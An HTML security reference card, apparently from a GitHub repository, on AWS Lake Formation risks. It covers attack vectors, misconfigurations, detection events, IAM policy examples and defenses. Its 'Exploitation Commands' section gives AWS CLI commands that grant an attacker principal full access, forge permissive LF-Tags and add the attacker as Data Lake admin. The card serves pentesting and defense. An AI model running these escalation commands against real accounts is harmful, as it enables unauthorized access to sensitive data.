aws-security-cards/cards/html/lakeformation.html at main · TocConsulting/aws-security-cards · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS Lake Formation Security | AWS Security Cards</title>
<meta name="description" content="AWS Lake Formation manages data lake permissions on S3 and Glue Catalog. Security risks include permission bypass, cross-account access abuse, and LF-Tag exploitation for unauthorized data access.">
<style>
  *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
  body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
    background: #0a0e1a;
    color: #e2e8f0;
    line-height: 1.6;
    padding: 2rem;
    max-width: 1200px;
    margin: 0 auto;
  }
  a { color: #22d3ee; text-decoration: none; }
  a:hover { text-decoration: underline; }

  /* Card Image */
  .card-image {
    border-radius: 1rem;
    overflow: hidden;
    margin-bottom: 2rem;
    border: 1px solid rgba(255,255,255,0.1);
  }
  .card-image img {
    width: 100%;
    height: auto;
    display: block;
  }

  /* Header */
  .header {
    position: relative;
    overflow: hidden;
    border-radius: 1rem;
    background: linear-gradient(135deg, #06b6d415, #0a0e1a, #0ea5e915);
    border: 1px solid #06b6d44d;
    padding: 2.5rem;
    margin-bottom: 2rem;
  }
  .header::before {
    content: '';
    position: absolute;
    top: 0; right: 0;
    width: 24rem; height: 24rem;
    background: #06b6d40d;
    border-radius: 50%;
    filter: blur(3rem);
  }
  .header-content { position: relative; display: flex; align-items: flex-start; gap: 1.5rem; }
  .header-icon { width: 64px; height: 64px; flex-shrink: 0; }
  .header-icon img { width: 100%; height: 100%; }
  .header-title { font-size: 1.875rem; font-weight: 700; color: #fff; }
  .header-badge {
    display: inline-block;
    padding: 0.25rem 0.75rem;
    background: #06b6d433;
    color: #06b6d4;
    font-size: 0.8rem;
    font-weight: 600;
    border-radius: 999px;
    border: 1px solid #06b6d44d;
    margin-left: 0.75rem;
    vertical-align: middle;
  }
  .header-desc { color: #94a3b8; max-width: 42rem; margin-top: 0.5rem; }

  /* Stats */
  .stats-row { display: grid; grid-template-columns: repeat(4, 1fr); gap: 1rem; margin-bottom: 2rem; }
  .stat-card {
    background: rgba(255,255,255,0.03);
    border-radius: 0.5rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 1rem;
    text-align: center;
  }
  .stat-value { font-size: 1.5rem; font-weight: 700; }
  .stat-label { font-size: 0.8rem; color: #94a3b8; }

  /* Sections */
  .section {
    background: rgba(255,255,255,0.03);
    border-radius: 0.75rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 1.5rem;
    margin-bottom: 1.5rem;
  }
  .section h2 {
    font-size: 1.25rem;
    font-weight: 700;
    color: #fff;
    margin-bottom: 1rem;
    display: flex;
    align-items: center;
    gap: 0.5rem;
  }

  /* Overview */
  .overview-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; }
  .overview-grid h4 { font-size: 0.9rem; font-weight: 600; margin-bottom: 0.5rem; }
  .overview-grid p { font-size: 0.875rem; color: #94a3b8; margin-bottom: 0.75rem; }
  .attack-note {
    background: rgba(0,0,0,0.3);
    border-radius: 0.5rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 0.75rem;
    font-size: 0.875rem;
    color: #cbd5e1;
  }

  /* Risk Gauge */
  .risk-gauge { display: flex; align-items: center; gap: 2rem; }
  .risk-bar-container { flex: 1; }
  .risk-bar {
    height: 1rem;
    background: #0f172a;
    border-radius: 999px;
    overflow: hidden;
  }
  .risk-bar-fill {
    height: 100%;
    border-radius: 999px;
    background: linear-gradient(90deg, #eab308, #f97316, #ef4444);
  }
  .risk-labels { display: flex; justify-content: space-between; font-size: 0.8rem; color: #94a3b8; margin-top: 0.5rem; }
  .risk-score { text-align: center; }
  .risk-score-value { font-size: 2.5rem; font-weight: 700; color: #fb923c; }
  .risk-score-label { font-size: 0.8rem; color: #94a3b8; }
  .risk-desc { margin-top: 1rem; font-size: 0.875rem; color: #94a3b8; }

  /* Panels Grid */
  .panels-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 1.5rem; margin-bottom: 1.5rem; }
  @media (max-width: 1024px) { .panels-grid { grid-template-columns: repeat(2, 1fr); } }
  @media (max-width: 640px) { .panels-grid, .stats-row, .overview-grid { grid-template-columns: 1fr; } }
  .panel {
    background: rgba(255,255,255,0.03);
    border-radius: 0.75rem;
    border: 1px solid;
    padding: 1.5rem;
  }
  .panel h3 { font-size: 1.1rem; font-weight: 700; margin-bottom: 1rem; display: flex; align-items: center; gap: 0.5rem; }
  .panel h4 { font-size: 0.85rem; font-weight: 600; margin-bottom: 0.5rem; margin-top: 1rem; }
  .panel ul { list-style: none; padding: 0; }
  .panel li {
    font-size: 0.85rem;
    color: #cbd5e1;
    padding: 0.15rem 0;
    display: flex;
    align-items: flex-start;
    gap: 0.5rem;
  }
  .bullet { margin-top: 0.15rem; }
  .note {
    margin-top: 1rem;
    padding: 0.75rem;
    border-radius: 0.5rem;
    font-size: 0.85rem;
  }

  /* Commands */
  .cmd-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; }
  .cmd-block { margin-top: 0.75rem; }
  .cmd-title { font-size: 0.8rem; color: #94a3b8; margin-bottom: 0.25rem; }
  pre {
    background: rgba(0,0,0,0.5);
    border-radius: 0.5rem;
    padding: 0.75rem;
    font-size: 0.8rem;
    color: #4ade80;
    overflow-x: auto;
    border: 1px solid rgba(255,255,255,0.06);
    white-space: pre-wrap;
    word-break: break-all;
    font-family: 'SF Mono', 'Fira Code', 'Cascadia Code', monospace;
  }

  /* Policies */
  .policy-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; }
  .policy-card {
    border-radius: 0.5rem;
    border: 1px solid;
    padding: 1rem;
  }
  .policy-header { display: flex; align-items: center; gap: 0.5rem; margin-bottom: 0.75rem; font-size: 0.9rem; }
  .policy-card pre { margin-bottom: 0.75rem; color: #cbd5e1; }
  .policy-desc { font-size: 0.8rem; color: #94a3b8; }

  /* Defenses */
  .defense-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; }
  .defense-card {
    background: rgba(255,255,255,0.03);
    border-radius: 0.5rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 1rem;
  }
  .defense-card:hover { border-color: #22d3ee4d; }
  .defense-header { display: flex; align-items: flex-start; gap: 0.75rem; }
  .defense-icon { font-size: 1.5rem; }
  .defense-card h4 { font-size: 0.9rem; font-weight: 600; color: #fff; margin-bottom: 0.25rem; }
  .defense-card p { font-size: 0.85rem; color: #94a3b8; margin-bottom: 0.5rem; }
  .defense-card pre { color: #22d3ee; }

  /* Footer */
  .footer { text-align: center; padding: 1.5rem 0; font-size: 0.8rem; color: #64748b; }
  .footer a { color: #22d3ee; }

  /* Prevent ugly page-break splits */
  .card-image,
  .header,
  .stat-card,
  .stats-row,
  .section,
  .panel,
  .cmd-block,
  .policy-card,
  .defense-card,
  .attack-note,
  .overview-grid > div,
  .risk-gauge,
  .note {
    break-inside: avoid;
    page-break-inside: avoid;
  }
  .section,
  .panels-grid,
  .card-image,
  .header {
    break-before: auto;
    page-break-before: auto;
  }
  /* Keep headings with their content */
  h2, h3, h4 {
    break-after: avoid;
    page-break-after: avoid;
  }

  @media print {
    body { background: #0a0e1a; -webkit-print-color-adjust: exact; print-color-adjust: exact; }
    /* Switch panels to 2-col for better page flow */
    .panels-grid { grid-template-columns: repeat(2, 1fr); }
    /* Switch commands and policies to single column to avoid splits */
    .cmd-grid { grid-template-columns: 1fr; }
    .policy-grid { grid-template-columns: 1fr; }
    .defense-grid { grid-template-columns: 1fr; }
  }
</style>
</head>
<body>

<!-- Card Image -->
<div class="card-image">
  <img src="../images/lakeformation-card.webp" alt="AWS Lake Formation Security" />
</div>

<!-- Header -->
<div class="header">
  <div class="header-content">
    <div class="header-icon"><img src="../icons/lakeformation.svg" alt="AWS Lake Formation Security" /></div>
    <div>
      <div>
        <span class="header-title">AWS Lake Formation Security</span>
        <span class="header-badge">DATA LAKE</span>
      </div>
      <p class="header-desc">AWS Lake Formation manages data lake permissions on S3 and Glue Catalog. Security risks include permission bypass, cross-account access abuse, and LF-Tag exploitation for unauthorized data access.</p>
    </div>
  </div>
</div>

<!-- Stats -->
<div class="stats-row">
        <div class="stat-card">
          <div class="stat-value" style="color: #f87171;">HIGH</div>
          <div class="stat-label">Risk Level</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #4ade80;">Regional</div>
          <div class="stat-label">Scope</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #60a5fa;">S3/Glue</div>
          <div class="stat-label">Backend</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #c084fc;">LF-Tags</div>
          <div class="stat-label">ABAC Model</div>
        </div></div>

<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">&#x1F4CB;</span> Service Overview</h2><div class="overview-grid">
        <div>
          <h4 style="color: #06b6d4;">Lake Formation Permissions</h4>
          <p>Centralizes permissions for Glue databases, tables, and S3 data locations. Replaces IAM-based access with fine-grained column/row-level security. Integrates with Athena, Redshift, EMR.</p>
          <div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Data Lake administrators have god-mode access. Permission grants can bypass IAM restrictions on underlying S3.</div>
        </div>
        <div>
          <h4 style="color: #06b6d4;">LF-Tags (Tag-Based Access Control)</h4>
          <p>Attribute-based access control using key-value tags on databases, tables, columns. Grants based on tag expressions. Simplifies permission management at scale.</p>
          <div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> LF-Tags can be modified if you have AlterLFTagValues permission. Tag manipulation = permission manipulation.</div>
        </div></div></div>

<!-- Risk Assessment -->

<div class="section">
  <h2>Security Risk Assessment</h2>
  <div class="risk-gauge">
    <div class="risk-bar-container">
      <div class="risk-bar">
        <div class="risk-bar-fill" style="width: 78%;"></div>
      </div>
      <div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
    </div>
    <div class="risk-score">
      <div class="risk-score-value">7.8</div>
      <div class="risk-score-label">Risk Score</div>
    </div>
  </div>
  <p class="risk-desc">Lake Formation controls access to potentially petabytes of data lake content. Administrator roles bypass all restrictions. LF-Tag manipulation or grant abuse enables access to restricted datasets.</p>
</div>

<!-- Main Panels -->
<div class="panels-grid">
      <div class="panel" style="border-color: #f8717133;">
        <h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Permission Manipulation</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Grant self access via GrantPermissions</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Modify LF-Tags to gain access</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Exploit overly broad tag expressions</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Cross-account grant abuse</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Data location permission bypass</li></ul><h4 style="color: #f87171;">Administrator Abuse</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Data Lake admin full access</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Register attacker S3 as data location</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Create grants for external accounts</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Modify database/table settings</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Disable cell-level filters</li></ul></div>
      <div class="panel" style="border-color: #fb923c33;">
        <h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Permission Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> IAMAllowedPrincipals still enabled</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Super permission on databases</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> ALL_TABLES grant on database</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Cross-account with grantable option</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Data location allows any bucket</li></ul><h4 style="color: #fb923c;">LF-Tag Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Tags with broad expressions (PII=*)</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Too many users can alter tags</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No tag-based data filtering</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Sensitive tables untagged</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Tag values not restricted</li></ul></div>
      <div class="panel" style="border-color: #22d3ee33;">
        <h3 style="color: #22d3ee;">🔍 Enumeration</h3>
        <div class="cmd-block">
          <div class="cmd-title">List Permissions</div>
          <pre><code>aws lakeformation list-permissions</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Get My Effective Permissions</div>
          <pre><code>aws lakeformation get-effective-permissions-for-path \\
  --resource-arn S3_ARN</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List LF-Tags</div>
          <pre><code>aws lakeformation list-lf-tags</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Data Lake Settings</div>
          <pre><code>aws lakeformation get-data-lake-settings</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Resources</div>
          <pre><code>aws lakeformation list-resources</code></pre>
        </div></div>
      <div class="panel" style="border-color: #c084fc33;">
        <h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Grant-Based Escalation</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> GrantPermissions → Self-grant Super</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> CreateLFTag → Create permissive tag</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> AddLFTagsToResource → Tag for access</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> PutDataLakeSettings → Add self as admin</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> RegisterResource → Add attacker S3</li></ul><h4 style="color: #c084fc;">Escalation Paths</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> CreateLFTag → Assign to tables → Query access</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Modify tag values → Match grant expression</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Grant with grantable → Recursive grants</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Data Lake admin → All databases/tables</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Cross-account → Exfil to external account</li></ul></div>
      <div class="panel" style="border-color: #facc1533;">
        <h3 style="color: #facc15;">📊 Data Exposure</h3><h4 style="color: #facc15;">Catalog Metadata</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Database and table names</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Column schemas and types</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> S3 data locations</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Partition information</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Table statistics</li></ul><h4 style="color: #facc15;">Underlying Data</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> S3 Parquet/ORC/CSV files</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> PII in data lake tables</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Financial/healthcare records</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> ML training datasets</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Aggregated analytics data</li></ul></div>
      <div class="panel" style="border-color: #4ade8033;">
        <h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> GrantPermissions - new grant</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> RevokePermissions - permission removed</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> PutDataLakeSettings - admin changes</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CreateLFTag - new tag created</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> AddLFTagsToResource - tag assignment</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> New grants to unknown principals</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> LF-Tag creation/modification</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Data Lake admin additions</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Cross-account grants</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Unusual GetTableObjects patterns</li></ul></div></div>

<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">&#x1F4BB;</span> Exploitation Commands</h2><div class="cmd-grid">
        <div class="cmd-block">
          <div class="cmd-title">Grant Self Database Access</div>
          <pre><code>aws lakeformation grant-permissions \\
  --principal DataLakePrincipalIdentifier=ATTACKER_ARN \\
  --permissions ALL \\
  --resource '{&quot;Database&quot;:{&quot;Name&quot;:&quot;prod_db&quot;}}'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Create Permissive LF-Tag</div>
          <pre><code>aws lakeformation create-lf-tag \\
  --tag-key &quot;access&quot; \\
  --tag-values &quot;all&quot; &quot;restricted&quot; &quot;public&quot;</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Add Tag to Table</div>
          <pre><code>aws lakeformation add-lf-tags-to-resource \\
  --resource '{&quot;Table&quot;:{&quot;DatabaseName&quot;:&quot;db&quot;,&quot;Name&quot;:&quot;sensitive&quot;}}' \\
  --lf-tags '[{&quot;TagKey&quot;:&quot;access&quot;,&quot;TagValues&quot;:[&quot;all&quot;]}]'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Grant Based on Tag</div>
          <pre><code>aws lakeformation grant-permissions \\
  --principal DataLakePrincipalIdentifier=ATTACKER_ARN \\
  --permissions SELECT \\
  --resource '{&quot;LFTagPolicy&quot;:{&quot;Expression&quot;:[{&quot;TagKey&quot;:&quot;access&quot;,&quot;TagValues&quot;:[&quot;all&quot;]}]}}'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Add Self as Data Lake Admin</div>
          <pre><code>aws lakeformation put-data-lake-settings \\
  --data-lake-settings '{&quot;DataLakeAdmins&quot;:[{&quot;DataLakePrincipalIdentifier&quot;:&quot;ATTACKER_ARN&quot;}]}'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Query Table (via Athena)</div>
          <pre><code>aws athena start-query-execution \\
  --query-string &quot;SELECT * FROM db.table&quot; \\
  --result-configuration OutputLocation=s3://bucket/</code></pre>
        </div></div></div>

<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F4DC;</span> Policy Examples</h2><div class="policy-grid">
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Full LF Access</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;lakeformation:*&quot;,
  &quot;Resource&quot;: &quot;*&quot;
}</code></pre>
          <p class="policy-desc">Full Lake Formation access - can grant self admin, access all data</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Read Only Analyst</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [
    &quot;lakeformation:GetDataAccess&quot;,
    &quot;lakeformation:GetEffectivePermissionsForPath&quot;
  ],
  &quot;Resource&quot;: &quot;*&quot;
}</code></pre>
          <p class="policy-desc">Only get data access based on existing grants</p>
        </div>
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Risky - Grant Permissions</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [
    &quot;lakeformation:GrantPermissions&quot;,
    &quot;lakeformation:BatchGrantPermissions&quot;
  ],
  &quot;Resource&quot;: &quot;*&quot;
}</code></pre>
          <p class="policy-desc">Can grant permissions to any principal - escalation risk</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Deny Admin Changes</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: [
    &quot;lakeformation:PutDataLakeSettings&quot;,
    &quot;lakeformation:RegisterResource&quot;
  ],
  &quot;Resource&quot;: &quot;*&quot;
}</code></pre>
          <p class="policy-desc">Prevent admin escalation and new resource registration</p>
        </div></div></div>

<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F6E1;&#xFE0F;</span> Defense Recommendations</h2><div class="defense-grid">
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔐</span>
            <div>
              <h4>Disable IAMAllowedPrincipals</h4>
              <p>Enable Lake Formation permissions model fully. Remove legacy IAM-based access.</p>
              <pre><code>PutDataLakeSettings with CreateDatabaseDefaultPermissions=[]</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🛡️</span>
            <div>
              <h4>Restrict Admin Role</h4>
              <p>Limit Data Lake Administrators. Use separate roles for grant management.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🏷️</span>
            <div>
              <h4>LF-Tag Governance</h4>
              <p>Control who can create/modify LF-Tags. Review tag expressions regularly.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🚫</span>
            <div>
              <h4>Deny GrantPermissions</h4>
              <p>Use SCP to deny GrantPermissions except from governance roles.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">📊</span>
            <div>
              <h4>Monitor Grants</h4>
              <p>Alert on GrantPermissions, PutDataLakeSettings, CreateLFTag events.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔍</span>
            <div>
              <h4>Audit Permissions</h4>
              <p>Regularly review ListPermissions output for unexpected grants.</p>

            </div>
          </div>
        </div></div></div>

<!-- Footer -->
<div class="footer">
  <p>AWS Lake Formation Security Card</p>
  <p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>

</body>
</html>